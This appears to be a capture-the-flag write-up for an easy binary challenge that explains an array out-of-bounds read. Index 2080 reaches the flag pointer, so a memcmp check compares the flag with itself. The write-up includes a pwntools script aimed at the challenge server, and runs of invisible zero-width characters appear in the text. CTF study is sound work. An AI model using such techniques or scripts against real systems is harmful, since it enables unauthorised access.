Indexes

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: array_index_oob, memcmp_self_comparison, pointer_arithmetic_exploitation

Summary

Task: bypass a secret verification system using array index out-of-bounds. Solution: provide index 2080 to access the flag pointer instead of the user secrets array, causing memcmp to compare the flag with itself (always matches).

Indexes — SPB CTF Pwn Season

Description

"Hi! I created very secure system to store my secrets. Can you bypass it?"

Server: nc 109.233.56.90 11572 Binary: indexes — ELF 64-bit x86-64, not stripped

Analysis

Array index out-of-bounds vulnerability. The program stores user secrets in a global[] array at offset 0x202040 and the flag pointer at global+0x4100 (offset 0x206140). When checking a secret by index, it doesn't validate bounds.

Memory Layout:

• global[] array: offset 0x202040
• Flag pointer: offset 0x206140
• Distance: 0x4100 bytes = 16640 bytes
• Index calculation: 16640 / 8 = 2080 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

By providing index 2080, we access the flag pointer instead of user secrets. The memcmp then compares the flag with itself, always returning 0 (match), triggering the "YOU WIN!" condition.

Enter secret index: 2080
Enter secret: [any value]

The program compares the flag against itself and prints "YOU WIN!" along with the flag.

 python read-only • copy allowed Copy
from pwn import *

io = remote('109.233.56.90', 11572)
io.sendlineafter(b'index: ', b'2080')
io.sendlineafter(b'secret: ', b'anything')
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍